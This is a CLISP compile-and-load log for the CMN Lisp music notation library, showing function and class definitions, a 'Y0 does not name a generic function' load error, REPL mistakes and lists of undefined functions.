; (DEFUN NOT-RATIONAL (X) (IF (INTEGERP X) X (FORMAT NIL "~,3F" (FLOAT X))))
; (DEFUN LIST-P (LST) (AND LST (LISTP LST)))
; (DEFUN ROTATE-MATRIX (MATRIX ANGLE) (FLET (# #) (LET # #)))
; (DEFUN SCALE-MATRIX (MATRIX X-SCALE Y-SCALE) ...)
; (DEFUN MIRROR-MATRIX (MATRIX) (IF MATRIX (LIST # # # ...) (LIST -1 0 0 ...)))
; (DEFUN FLIP-MATRIX (MATRIX) (IF MATRIX (LIST # # # ...) (LIST 1 0 0 ...)))
; (DEFUN TRUNCATED-MATRIX-MULTIPLY (M1 M2) (LET (# # # # ...) (LIST # # # ...)))
; (DEFUN TRANSFORM-BOX (MAT TV BB) ...)
; (DEFUN CREATION-DATE NIL (FLET (# #) (MULTIPLE-VALUE-BIND # # # #)))
; (DEFVAR SMALLEST-NOTE 0.015625)
; (DEFUN RATIFY-1 (UX) (IF (ZEROP UX) (LIST 0 1) (LET # #)))
; (DEFUN RATIFY (NUM) (IF (FLOATP NUM) (IF # # #) (IF # # #)))
; (DEFUN FRATIFY (NUM) (IF (FLOATP NUM) (APPLY #'/ (RATIFY NUM)) NUM))
; (DEFUN IRATIFY (NUM) (COERCE (APPLY #'/ (RATIFY NUM)) 'RATIONAL))
; (DEFUN PS-LETTERS (LETTERS) (LET (#) (IF TROUBLE # LETTERS)))
; (DEFUN DECIMAL-TO-OCTAL (N &OPTIONAL (NN 0) ...) ...)

Compilation of file /usr/local/src/lisp/cmn/cmn-utils.lisp is finished.
0 errors, 0 warnings
;;  Loading file /usr/local/src/lisp/cmn/cmn-utils.fas ...
;;  Loading of file /usr/local/src/lisp/cmn/cmn-utils.fas is finished.
Compiling file /usr/local/src/lisp/cmn/cmn-objects.lisp ...
; (IN-PACKAGE :CMN)
; (DEFVAR *CMN-DEFAULT-FONT* (LIST "Times-Roman" "Times-Italic" ...))
; (DEFUN NORMAL-FONT NIL (FIRST *CMN-DEFAULT-FONT*))
; (DEFUN ITALIC-FONT NIL (SECOND *CMN-DEFAULT-FONT*))
; (DEFUN BOLD-FONT NIL (THIRD *CMN-DEFAULT-FONT*))
; (DEFUN BOLD-ITALIC-FONT NIL (FOURTH *CMN-DEFAULT-FONT*))
; (DEFVAR *CMN-DEFAULT-FONT-SIZE* 1.0)
; (DEFPARAMETER PREWHITESPACE "                    ")
; (DEFCLASS SELF-ACTING NIL ...)
; (DEFUN MAKE-SELF-ACTING (&KEY ACTION ARGUMENT) ...)
; (DEFMETHOD SELF-ACTING-P ((OBJ SELF-ACTING)) T)
; (DEFMETHOD SELF-ACTING-P ((OBJ T)) NIL)
; (EVAL-WHEN (COMPILE LOAD EVAL) (DEFMACRO DEFERRED-ACTION (NAME) ...))
; (DEFGENERIC COPY (READ-OBJECT &OPTIONAL WRITE-OBJECT))
; (DEFGENERIC DESCRY (OBJECT &OPTIONAL STREAM CONTROLLER))
; (DEFGENERIC DISPLAY (OBJECT CONTAINER SCORE &OPTIONAL JUSTIFYING))
; (DEFGENERIC HOUSE (OBJECT SCORE))
; (DEFGENERIC NOTIFY (CONTROLLER &OPTIONAL OBJECTS))
; (DEFGENERIC IDENTIFY (OBJECT))
; (DEFMETHOD DESCRY (ANYTHING &OPTIONAL STREAM ...) ...)
; (DEFMETHOD IDENTIFY (ANYTHING) ANYTHING)
; (DEFCLASS WRITE-PROTECT NIL NIL)
; (DEFMETHOD WRITE-PROTECTED ((OBJ T)) NIL)
; (DEFMETHOD WRITE-PROTECTED ((OBJ WRITE-PROTECT)) T)
; (DEFCLASS BOX-MIXIN NIL ...)
; (DEFCLASS BOX (BOX-MIXIN) ...)
; (DEFMETHOD BOX-P ((OBJ T)) NIL)
; (DEFMETHOD BOX-P ((OBJ BOX-MIXIN)) T)
; (DEFUN COPY-BOUNDING-BOX (OBJ1 OBJ2) (SETF (BOX-X0 OBJ2) (BOX-X0 OBJ1)) ...)
; (DEFMETHOD COPY ((BOX BOX-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFMETHOD DESCRY ((BOX BOX-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMACRO WITH-POSITION (OBJ X0 Y0 ...) ...)
; (DEFMETHOD WIDTH ((BOX BOX-MIXIN)) (- (BOX-X1 BOX) (BOX-X0 BOX)))
; (DEFCLASS MATRIX-MIXIN NIL ((MATRIX :INITARG :MATRIX :INITFORM NIL ...)))
; (DEFCLASS MATRIX (MATRIX-MIXIN) ((MATRIX :ACCESSOR MATRIX)))
; (DEFMETHOD MATRIX-P ((OBJ T)) NIL)
; (DEFMETHOD MATRIX-P ((OBJ MATRIX-MIXIN)) T)
; (DEFUN MAKE-MATRIX NIL (MAKE-INSTANCE 'MATRIX))
; (DEFMETHOD COPY ((MATRIX MATRIX-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFUN IDENTITY-MATRIX-P (OBJECT) (LET (#) (OR # #)))
; (DEFUN INVISIBLE-P (OBJECT) (LET ((MAT #)) (AND MAT (= # 0) (= # 0) ...)))
; (DEFUN INVISIBLE-MATRIX (MAT) (AND MAT (= # 0) (= # 0) (= # 0) (= # 0)))
; (DEFUN TRANSLATE-MATRIX (SCORE OBJECT X0 Y0 ...) (LET (#) (IF BASE # #)))
; (DEFMETHOD DESCRY ((MATRIX MATRIX-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFUN IDENTIFY-MATRIX (OBJECT) (IF (NOT #) (IF # " (scale 0 0)" #) ""))
; (DEFUN ROTATE (ANGLE) ...)
; (DEFUN SCALE (XSCL YSCL) ...)
; (DEFUN MIRROR NIL ...)
; (DEFVAR MIRRORED (MAKE-SELF-ACTING :ACTION #'(LAMBDA # # ...) ...))
; (DEFUN TRANSFORM (MATR) ...)
; (DEFUN INVISIBLE NIL ...)
; (DEFVAR INVISIBLE (MAKE-SELF-ACTING :ACTION #'(LAMBDA # # ...) ...))
; (DEFCLASS PATTERN-MIXIN NIL ...)
; (DEFCLASS PATTERN (PATTERN-MIXIN) ...)
; (DEFMETHOD COPY ((PATTERN PATTERN-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFMETHOD DESCRY ((PATTERN PATTERN-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFCLASS WRITE-PROTECTED-MARKS-MIXIN NIL ...)
; (DEFCLASS MARKS-MIXIN (WRITE-PROTECTED-MARKS-MIXIN) ((MARKS :ACCESSOR MARKS)))
; (DEFMETHOD MARKS-P ((OBJ T)) NIL)
; (DEFMETHOD MARKS-P ((OBJ MARKS-MIXIN)) T)
; (DEFMETHOD DESCRY (# &OPTIONAL STREAM ...) ...)
; (DEFMETHOD COPY ((VIS WRITE-PROTECTED-MARKS-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFUN DISPLAY-MARKS (OBJECT SCORE &OPTIONAL ...) ...)
; (DEFMETHOD ADD-TO-MARKS ((ANYTHING WRITE-PROTECTED-MARKS-MIXIN) OBJECTS) ...)
; (DEFUN EDIT-MARK (ANYTHING MARK-IDENTIFIER MARK-EDITOR) (LOOP FOR M IN ...))
; (DEFUN IDENTIFY-MARKS (OBJECT &OPTIONAL FILE) ...)
; (DEFCLASS VISIBLE-MIXIN ...)
; (DEFCLASS VISIBLE (VISIBLE-MIXIN MARKS-MIXIN BOX ...) ...)
; (DEFMETHOD VISIBLE-P ((OBJ T)) NIL)
; (DEFMETHOD VISIBLE-P ((OBJ VISIBLE-MIXIN)) T)
; (DEFMETHOD DESCRY ((VIS VISIBLE-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD COPY ((VIS VISIBLE-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFUN IDENTIFY-VISIBLE (OBJECT &OPTIONAL FILE) ...)
; (DEFUN LAYOUT (VAL) (MAKE-SELF-ACTING :ARGUMENT VAL :ACTION ...))
; (DEFCLASS FONT-MIXIN NIL ...)
; (DEFMETHOD DESCRY ((FNT FONT-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD COPY ((FNT FONT-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFCLASS TEXT (FONT-MIXIN VISIBLE) ...)
; (DEFMETHOD TEXT-P ((OBJ T)) NIL)
; (DEFMETHOD TEXT-P ((OBJ TEXT)) T)
; (DEFMETHOD DESCRY ((TEXT TEXT) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD COPY ((TEXT TEXT) &OPTIONAL OBJECT) ...)
; (DEFUN GLYPH (NUM) ...)
; (DEFUN MAKE-ISO-ENCODED-VERSION (SCORE FONT-NAME NEW-FONT-NAME) ...)
; (DEFERRED-ACTION CENTER)
; (DEFERRED-ACTION FENCES)
; (DEFERRED-ACTION WALLS)
; (DEFERRED-ACTION EXPANDERS)
; (DEFERRED-ACTION X0)
; (DEFERRED-ACTION Y0)
; (DEFERRED-ACTION X1)
; (DEFERRED-ACTION Y1)
; (DEFERRED-ACTION DX)
; (DEFERRED-ACTION DY)
; (DEFERRED-ACTION MATRIX)
; (DEFERRED-ACTION PATTERN)
; (DEFERRED-ACTION COLOR)
; (DEFERRED-ACTION FONT-NAME)
; (DEFERRED-ACTION FONT-SIZE)
; (DEFERRED-ACTION FONT-SCALER)
; (DEFUN UNDERLINED NIL ...)
; (DEFVAR UNDERLINED (UNDERLINED))
; (DEFUN GRAY-SCALE (&OPTIONAL (N 0)) ...)
; (DEFUN SETF-GRAY-SCALE (OBJ N) (SETF (COLOR OBJ) (LIST N N N)))
; (DEFSETF GRAY-SCALE SETF-GRAY-SCALE)
; (DEFUN OUTLINED (&OPTIONAL (N 0)) ...)
; (DEFCLASS ODB-MIXIN NIL ...)
; (DEFCLASS ODB (ODB-MIXIN) ...)
; (DEFMETHOD ODB-P ((OBJ T)) NIL)
; (DEFMETHOD ODB-P ((OBJ ODB-MIXIN)) T)
; (DEFMETHOD DESCRY ((ODB ODB-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD COPY ((ODB ODB-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFMETHOD ONSET (VAL) (MAKE-SELF-ACTING :ARGUMENT VAL :ACTION ...))
; (DEFMETHOD DURATION ((VAL NUMBER)) ...)
; (DEFMETHOD BEAT ((VAL NUMBER)) (MAKE-SELF-ACTING :ARGUMENT VAL :ACTION ...))
; (DEFCLASS STAFF-RELATIVE-MIXIN NIL ...)
; (DEFMETHOD STAFF-RELATIVE-MIXIN-P ((OBJ T)) NIL)
; (DEFMETHOD STAFF-RELATIVE-MIXIN-P ((OBJ STAFF-RELATIVE-MIXIN)) T)
; (DEFMETHOD DESCRY ((STF-Y0 STAFF-RELATIVE-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD COPY ((STF-Y0 STAFF-RELATIVE-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFMETHOD STAFF-Y0 ((BOX BOX-MIXIN)) (BOX-Y0 BOX))
; (DEFERRED-ACTION STAFF-Y0)
; (DEFCLASS THICK-MIXIN NIL ((THICKNESS :INITARG :THICKNESS :INITFORM NIL ...)))
; (DEFCLASS THICK (THICK-MIXIN) ((THICKNESS :ACCESSOR THICKNESS)))
; (DEFMETHOD DESCRY ((THK THICK-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD COPY ((THK THICK-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFERRED-ACTION THICKNESS)
; (DEFCLASS BREATHING-SPACE-MIXIN NIL ...)
; (DEFCLASS BREATHING-SPACE NIL ...)
; (DEFMETHOD DESCRY ((THK BREATHING-SPACE-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD COPY ((THK BREATHING-SPACE-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFERRED-ACTION BREATHING-SPACE)
; (DEFCLASS SCORE-OBJECT-MIXIN (ODB-MIXIN VISIBLE-MIXIN) ...)
; (DEFMETHOD SCORE-OBJECT-P ((OBJ T)) NIL)
; (DEFMETHOD SCORE-OBJECT-P ((OBJ SCORE-OBJECT-MIXIN)) T)
; (DEFCLASS SCORE-OBJECT (SCORE-OBJECT-MIXIN ODB VISIBLE) NIL)
; (DEFUN OBJECT-ADDRESS (OBJECT) ...)
; (DEFMETHOD PRINT-OBJECT ((OBJECT SCORE-OBJECT-MIXIN) STREAM) ...)
; (DEFMETHOD COPY ((OBJ SCORE-OBJECT-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFCLASS SUNDRY-MIXIN (SCORE-OBJECT-MIXIN THICK-MIXIN) ...)
; (DEFCLASS SUNDRY (SUNDRY-MIXIN SCORE-OBJECT THICK) ...)
; (DEFCLASS WRITE-PROTECTED-SUNDRY (WRITE-PROTECT SUNDRY-MIXIN) NIL)
; (DEFMETHOD SUNDRY-P ((OBJ T)) NIL)
; (DEFMETHOD SUNDRY-P ((OBJ SUNDRY-MIXIN)) T)
; (DEFUN MAKE-SUNDRY (&KEY NAME MARK ...) ...)
; (DEFMETHOD DISPLAY ((SUNDRY SUNDRY-MIXIN) NOTE SCORE ...) ...)
; (DEFMETHOD DESCRY ((SUNDRY SUNDRY-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD IDENTIFY ((SUNDRY SUNDRY-MIXIN)) ...)
; (DEFMETHOD COPY ((SUNDRY SUNDRY-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFGENERIC BACKPATCH (MARK))
; (DEFGENERIC BACKPATCH-TIME (MARK OBJ))
; (DEFGENERIC BACKPATCH-START (MARK))
; (DEFMETHOD BACKPATCH (ANYTHING) (DECLARE (IGNORE ANYTHING)) NIL)
; (DEFMETHOD BACKPATCH ((SUNDRY SUNDRY-MIXIN)) NIL)
; (DEFMETHOD BACKPATCH-TIME ((SUNDRY SUNDRY-MIXIN) OBJ) ...)
; (DEFMETHOD BACKPATCH-START (ANYTHING) (DECLARE (IGNORE ANYTHING)) NIL)
; (DEFUN DIRECTION-FROM-NOTE (MARK OUR-NOTE) ...)
; (DEFUN CMN-MARK (OBJ &REST OBJECTS) (LET (#) (LOOP FOR ACT IN ...) NEW-MARK))
; (DEFUN MARK (FUNC NAME &REST ...) ...)
; (DEFMETHOD NOTIFY ((SUNDRY SUNDRY-MIXIN) &OPTIONAL OBJECTS) ...)
; (DEFCLASS PAGE-MIXIN (ODB-MIXIN BOX-MIXIN STAFF-RELATIVE-MIXIN) ...)
; (DEFCLASS WRITE-PROTECTED-PAGE (WRITE-PROTECT PAGE-MIXIN) NIL)
; (DEFCLASS PAGE (PAGE-MIXIN ODB BOX) ((PAGE-SPACE :ACCESSOR PAGE-SPACE)))
; (DEFUN PAGE-MARK NIL (MAKE-INSTANCE 'PAGE))
; (DEFVAR PAGE-MARK (MAKE-INSTANCE 'WRITE-PROTECTED-PAGE))
; (DEFMETHOD PAGE-P ((OBJ T)) NIL)
; (DEFMETHOD PAGE-P ((OBJ PAGE-MIXIN)) T)
; (DEFMETHOD COPY ((PAGE PAGE-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFMETHOD DESCRY ((PAGE PAGE-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD NOTIFY ((PAGE PAGE-MIXIN) &OPTIONAL OBJECTS) ...)
; (DEFMETHOD IDENTIFY ((PAGE PAGE-MIXIN)) "(page-mark)")
; (DEFCLASS LINE-MIXIN (ODB-MIXIN VISIBLE-MIXIN BOX-MIXIN ...) ...)
; (DEFCLASS WRITE-PROTECTED-LINE (WRITE-PROTECT LINE-MIXIN) NIL)
; (DEFCLASS LINE (LINE-MIXIN ODB VISIBLE ...) ...)
; (DEFUN LINE-MARK (&REST ARGS) (LET (#) (LOOP FOR ARG IN ARGS ...) NEW-LINE))
; (DEFVAR LINE-MARK (MAKE-INSTANCE 'WRITE-PROTECTED-LINE))
; (DEFMETHOD LINE-P ((OBJ T)) NIL)
; (DEFMETHOD LINE-P ((OBJ LINE-MIXIN)) T)
; (DEFMETHOD COPY ((LINE LINE-MIXIN) &OPTIONAL OBJECT) ...)
; (DEFMETHOD DESCRY ((LINE LINE-MIXIN) &OPTIONAL STREAM ...) ...)
; (DEFMETHOD NOTIFY ((LINE LINE-MIXIN) &OPTIONAL OBJECTS) ...)
; (DEFMETHOD IDENTIFY ((LINE LINE-MIXIN)) "(line-mark)")
; (DEFUN LINE-BREAK (&REST ARGS) (APPLY #'LINE-MARK ARGS))
; (DEFVAR LINE-BREAK (MAKE-INSTANCE 'WRITE-PROTECTED-LINE))
; (DEFUN PAGE-BREAK NIL (MAKE-INSTANCE 'PAGE))
; (DEFVAR PAGE-BREAK (MAKE-INSTANCE 'WRITE-PROTECTED-PAGE))
; (DEFCLASS SECTION NIL ((DATA :ACCESSOR DATA :INITFORM NIL :INITARG :DATA)))
; (DEFMETHOD SECTION-P ((OBJ T)) NIL)
; (DEFMETHOD SECTION-P ((OBJ SECTION)) T)
; (DEFUN SECTION (&REST ARGS) (MAKE-INSTANCE 'SECTION :DATA ARGS))

Compilation of file /usr/local/src/lisp/cmn/cmn-objects.lisp is finished.
The following functions were used but not defined:
 SCR-SIZE CMN-ERROR G-SEND TAG-P STEM-IS-UP?
0 errors, 0 warnings
;;  Loading file /usr/local/src/lisp/cmn/cmn-objects.fas ...
*** - Y0 does not name a generic function
1. Break CMN[4]> (load :print t :verbose t "cmn-objects.fas")

*** - EVAL/APPLY: keyword T is illegal for #<COMPILED-CLOSURE LOAD>. The possible keywords are 
(:VERBOSE :PRINT :IF-DOES-NOT-EXIST :EXTERNAL-FORMAT :ECHO :COMPILING
 :EXTRA-FILE-TYPES)
2. Break CMN[5]> Abort

1. Break CMN[4]> (load "cmn-objects.fas: :print t :verbose t)

*** - Ctrl-C: User break
2. Break CMN[6]> Abort

1. Break CMN[4]>  (load "cmn-objects.fas" :print t :verbose t)
;;   Loading file cmn-objects.fas ...
#<PACKAGE CMN> 
*CMN-DEFAULT-FONT* 
NORMAL-FONT 
ITALIC-FONT 
BOLD-FONT 
BOLD-ITALIC-FONT 
*CMN-DEFAULT-FONT-SIZE* 
PREWHITESPACE 
WARNING:
Replacing method #<STANDARD-METHOD (#<STANDARD-CLASS SELF-ACTING>)> in #<GENERIC-FUNCTION ACTION>
WARNING:
Replacing method #<STANDARD-METHOD (#<BUILT-IN-CLASS T> #<STANDARD-CLASS SELF-ACTING>)> in #<GENERIC-FUNCTION (SETF ACTION)>
WARNING:
Replacing method #<STANDARD-METHOD (#<STANDARD-CLASS SELF-ACTING>)> in #<GENERIC-FUNCTION ARGUMENT>
WARNING:
Replacing method #<STANDARD-METHOD (#<BUILT-IN-CLASS T> #<STANDARD-CLASS SELF-ACTING>)> in #<GENERIC-FUNCTION (SETF ARGUMENT)>
#<STANDARD-CLASS SELF-ACTING> 
MAKE-SELF-ACTING 
WARNING:
Replacing method #<STANDARD-METHOD (#<STANDARD-CLASS SELF-ACTING>)> in #<GENERIC-FUNCTION SELF-ACTING-P>
#<STANDARD-METHOD (#<STANDARD-CLASS SELF-ACTING>)> 
WARNING:
Replacing method #<STANDARD-METHOD (#<BUILT-IN-CLASS T>)> in #<GENERIC-FUNCTION SELF-ACTING-P>
#<STANDARD-METHOD (#<BUILT-IN-CLASS T>)> 
DEFERRED-ACTION 
#<GENERIC-FUNCTION COPY> 
WARNING:
Removing all methods of #<GENERIC-FUNCTION DESCRY>
#<GENERIC-FUNCTION DESCRY> 
#<GENERIC-FUNCTION DISPLAY> 
#<GENERIC-FUNCTION HOUSE> 
#<GENERIC-FUNCTION NOTIFY> 
WARNING:
Removing all methods of #<GENERIC-FUNCTION IDENTIFY>
#<GENERIC-FUNCTION IDENTIFY> 
#<STANDARD-METHOD (#<BUILT-IN-CLASS T>)> 
#<STANDARD-METHOD (#<BUILT-IN-CLASS T>)> 
#<STANDARD-CLASS WRITE-PROTECT> 
WARNING:
Replacing method #<STANDARD-METHOD (#<BUILT-IN-CLASS T>)> in #<GENERIC-FUNCTION WRITE-PROTECTED>
#<STANDARD-METHOD (#<BUILT-IN-CLASS T>)> 
WARNING:
Replacing method #<STANDARD-METHOD (#<STANDARD-CLASS WRITE-PROTECT>)> in #<GENERIC-FUNCTION WRITE-PROTECTED>
#<STANDARD-METHOD (#<STANDARD-CLASS WRITE-PROTECT>)> 
WARNING:
Replacing method #<STANDARD-METHOD (#<STANDARD-CLASS BOX-MIXIN>)> in #<GENERIC-FUNCTION X0>
WARNING:
Replacing method #<STANDARD-METHOD (#<STANDARD-CLASS BOX-MIXIN>)> in #<GENERIC-FUNCTION BOX-X0>
*** - Y0 does not name a generic function
2. Break CMN[7]> (dribble)
---------------
#<BUFFERED FILE-STREAM CHARACTER #P"clisp-2.24-out" @1>
[2]> (lisp-implementation-type)
"CLISP"
[3]> (lisp-implementation-version)
"2000-03-06 (March 2000)"
[4]> (load "cmn-all" :print t :verbose t)
;; Loading file /usr/local/src/lisp/cmn/cmn-all.lisp ...
"/usr/local/src/lisp/cmn/" 
"/usr/local/src/lisp/cmn/" 
"/usr/local/src/lisp/cmn/" 
Compiling file /usr/local/src/lisp/cmn/cmn-loop.lisp ...

Compilation of file /usr/local/src/lisp/cmn/cmn-loop.lisp is finished.
0 errors, 0 warnings
The following functions were used but not defined:
 LOOP-MAKE-SETQ LOOP-DESETQ-INTERNAL LOOP-MAKE-DESETQ LOOP-TASSOC
 LOOP-TRANSLATE LOOP-TRANSLATE-1 LOOP-SIMPLEP LOOP-OUTPUT-GROUP
 LOOP-MAKE-VARIABLE LOOP-HACK-ITERATION LOOP-TMEMBER
 LOOP-OPTIMIZE-DUPLICATED-CODE-ETC LOOP-BIND-BLOCK LOOP-GET-PROGN-1
 INITIAL-VALUE LOOP-DECLARE-VARIABLE LOOP-TYPED-INIT
 VARIABLE-DECLARATIONS LOOP-TEQUAL LOOP-CONSTANTP
 LOOP-MAKE-CONDITIONALIZATION LOOP-PSEUDO-BODY LOOP-GET-PROGN
 LOOP-EMIT-BODY LOOP-CONSTRUCT-RETURN LOOP-GET-FORM LOOP-OPTIONAL-TYPE
 LOOP-MAKE-ITERATION-VARIABLE LOOP-TYPED-ARITH LOOP-CDRIFY
 LOOP-WHEN-IT-VARIABLE LOOP-SIMPLEP-1 LOOP-END-TESTIFY LOOP-MAKE-PSETQ
 LOOP-SEQUENCER LOOP-GATHER-PREPS LOOP-MAYBE-BIND-FORM
 LOOP-NAMED-VARIABLE
The following functions were used but are deprecated:
 GENTEMP
;;  Loading file /usr/local/src/lisp/cmn/cmn-loop.fas ...
;;  Loading of file /usr/local/src/lisp/cmn/cmn-loop.fas is finished.
T 
CMN-COMPILE-AND-LOAD 
Compiling file /usr/local/src/lisp/cmn/cmn-init.lisp ...

Compilation of file /usr/local/src/lisp/cmn/cmn-init.lisp is finished.
0 errors, 0 warnings
;;  Loading file /usr/local/src/lisp/cmn/cmn-init.fas ...
;;  Loading of file /usr/local/src/lisp/cmn/cmn-init.fas is finished.
Compiling file /usr/local/src/lisp/cmn/cmn-utils.lisp ...

Compilation of file /usr/local/src/lisp/cmn/cmn-utils.lisp is finished.
0 errors, 0 warnings
The following functions were used but not defined:
 RATIFY-1 RATIOP RATIFY
;;  Loading file /usr/local/src/lisp/cmn/cmn-utils.fas ...
;;  Loading of file /usr/local/src/lisp/cmn/cmn-utils.fas is finished.
Compiling file /usr/local/src/lisp/cmn/cmn-objects.lisp ...

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 SCR-SIZE IDENTITY-MATRIX-P INVISIBLE-P MAKE-SELF-ACTING CMN-ERROR
 NORMAL-FONT G-SEND UNDERLINED OBJECT-ADDRESS DISPLAY-MARKS TAG-P
 STEM-IS-UP? LINE-MARK
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 SETF-PROLOG PRINT-IF-CHANGED STYLE-LIST IDENTIFY-SCORE G-DASHED-LINE
 G-LINETO G-RLINETO G-MOVETO G-RMOVETO G-COMMENT G-SET-LINE-WIDTH
 G-SET-COLOR G-DRAW G-PUSH G-POP G-SEND MATRIX-FRONT G-SET-PATTERN
 MATRIX-BACK G-CURVETO G-FILL G-ARC G-HEADER INCHES-TO-PS G-FOOTER
 G-BBOX G-PAGE-NUMBER C-OPEN HEADER CLEAR-BOUNDS FOOTER C-CLOSE
 CLEAR-SCORE RESTORE-CMN-VARS SAVE-CMN-VARS MAKE-TITLE INITIALIZE SYSTEM
 CMN-ERROR DRAWIFY FILTERIFY SLURIFY MARKIFY TIEIFY BEAMIFY JUSTIFY
 PAGIFY LINIFY COMPACTIFY BOXIFY FILLIFY SCORIFY EDIFY
 CHECK-FOR-LEFT-OVERS FINALIZE BRACKET-P BRACE-P STAFF CMN-CLEAR-PIPE
 MAKE-STAFF-NAME AUDIBLE-P RHYTHM-P PAUSE-P TAG-P ACCIDENTAL-P
 DYNAMICS-P NOTIFIABLE COMMENT MOVETO LINETO DRAW BAR-P CMN-PIPE-CONTEXT
 SYSTEM-CONTEXT STAFF-CONTEXT STAFF-DATA-START STAFF-DATA-CONTINUATION
 OWNER-CONTEXT CMN-ERROR-1
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 D_PENSIZE X-COLOR C-MOVETO C-RMOVETO C-LINETO C-RLINETO G-MOVETO
 G-LINETO G-RLINETO G-RMOVETO C-CURVETO OUTPUT-BEZIER POSITION-X
 POSITION-Y X-CIRCLE C-LINEWIDTHCLEARED G-SET-LINE-WIDTH X-LINETO
 D_LINETO D_MOVETO X-POLYGON X-TEXT PS-TO-X-FONT-NAME G-SET-FONT
 CMN-PCLOSE G-CLEAR-CONTEXT CMN-POPEN X-CLEAR-WINDOW G-SET-COLOR
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 UR-BRACE UR-CLEF TEXT THE-USUAL-SUSPECTS UR-ACCIDENTAL DRAW-HALF-SIZE
 SIGN-NAME UR-KEY NOTE-SIGN PLACE-OF-NOTE-ON-CLEF UR-METER
 TEXT-TO-NUMERAL FLOATING-NOTE TEXT-DX ALGOL+ UR-TEXT CMN-TEXT UR-PAUSE
 DRAW-GP REST-P CHORD-P REST-MARK STORE-DATA NOTE-P STEM-IS-UP
 MAXIMUM-LINE UR-DYNAMICS TEXT-TO-DYNAMIC-SPACING TEXT-TO-DYNAMIC
 HEAD-LINE DISPLAY-STACCATO DRAW-STACCATO STEM-END DISPLAY-ACCENT
 DISPLAY-LITTLE-SWELL DISPLAY-WEDGE STACCATO-P WHOLE-NOTE-P
 DISPLAY-TENUTO DISPLAY-DOWN-BOW DISPLAY-UP-BOW DISPLAY-DETACHE
 DISPLAY-MARTELE DISPLAY-MARCATO DISPLAY-BARTOK-PIZZICATO DISPLAY-THUMB
 DRAW-BOTH-PARENS DISPLAY-LEFT-HAND-PIZZICATO TENUTO-P
 DISPLAY-NATURAL-HARMONIC STEM-IS-DOWN? DISPLAY-PEDAL DISPLAY-PEDAL-OFF
 DISPLAY-SEGNO DISPLAY-CODA QUARTERS RHYTHM-P DISPLAY-MOUTH-POSITION
 DISPLAY-SWIRL DISPLAY-ORNAMENT DISPLAY-MORDENT ORNAMENT
 DISPLAY-INVERTED-MORDENT DISPLAY-DOUBLE-MORDENT STEM-IS-UP?
 DISPLAY-TURN DISPLAY-SHORT-TRILL DISPLAY-TR DISPLAY-TRILLED-TURN
 PLACE-OF-NOTE-GIVEN-NOTE ONE-OTHER-NOTE DOTS SIGN DISPLAY-TRILL
 DISPLAY-ARPEGGIO ARROW-P DISPLAY-NO-ARPEGGIO DISPLAY-ARROW ARPEGGIO
 AUDIBLE-STEM-DIRECTION NOTE-LINE NOTE-SIZE DRAW-ARROWHEAD-UP
 DRAW-ARROWHEAD-DOWN UR-REHEARSAL-MARK DISPLAY-REHEARSAL-MARK
 NEXT-REHEARSAL-NUMBER NEXT-REHEARSAL-LETTER DISPLAY-MEASURE-MARK
 DISPLAY-FINGERING PITCH DISPLAY-OCTAVE START-OCTAVE
 START-AND-END-OCTAVE END-OCTAVE AUDIBLE-P LINE READ-4-NUMBERS
 INSERT-EPS-FILE DISPLAY-GRAPHICS
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 DASHED-STEM CAR-MEMBER NOTE-NAME HALVE-DURATION IDENTIFY-STORE-DATA
 SORTED-TIES UR-NOTE DRAW-BREATH-IN DRAW-BREATH-OUT DRAW-AIRY-HEAD
 DRAW-ARROW-UP DRAW-ARROW-DOWN GET-NOTE-HEAD NOTE-SIZE
 NOTE-HEAD-X0-OFFSET TREMOLO-SLASHES SLANT PARANOID MEASURED
 TREMOLO-NOTE MAXIMUM-LENGTH DRAW-BEAMS DRAW-FLAGS
 DISPLAY-NOTE-SLURS-AND-BRACKETS COLLIDER-SIGN-BACKUP
 COLLISION-SIGN-BACKUP GET-STEM-END NOTE-HEAD-Y0-OFFSET DRAW-STEM
 TREMOLO-TYPE DRAW-TREMOLO DRAW-TWO-NOTE-TREMOLO ALIGN-TIED-NOTES CHORD
 STAFF-PITCH-> DISPLACE-CHORD ACCIDENT-CHORD DISPLAY-TIED-CHORD TIE-TYPE
 UR-REST REST-NAME GET-REST REST-COPY RQ GRACE-NOTE CRESCENDO-P TAG-NOTE
 ANNOTATE-BEAM PREPARE-SLUR NOTE PLACE-OF-NOTE-GIVEN-NOTE
 PITCH-TO-NOTE-OCTAVE-AND-ACCIDENTAL FREQ-TO-PITCH ADD-NOTE-TO-STAFF
 FIND-STAFF FREQ-TO-NOTE-OCTAVE-AND-ACCIDENTAL SCORE-RELATIVE-ONSET
 NOT-METERED ADD-DATA-1 SET-STAFF-METER REINITIALIZE-SCORE
 USER-ADD-TO-LEFT-SLURS USER-ADD-TO-RIGHT-SLURS DEAL-WITH-DELAYED-SLURS
 NOTES CHECK-FOR-DELAYED-SLURS MAP-OVER-STAVES CHECK-FOR-CHORDS
 CMN-STORE INIT-CLM-INPUT ADD-NOTE MAKE-NAME-A-STRING FINISH-CLM-INPUT
 SET-CMN-TEMPO IDENTIFY-SCORE
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 FUNNY-CASE DISPLAY-SUBDIVISION-BRACKET DISPLAY-BRACKETED-NUMBER
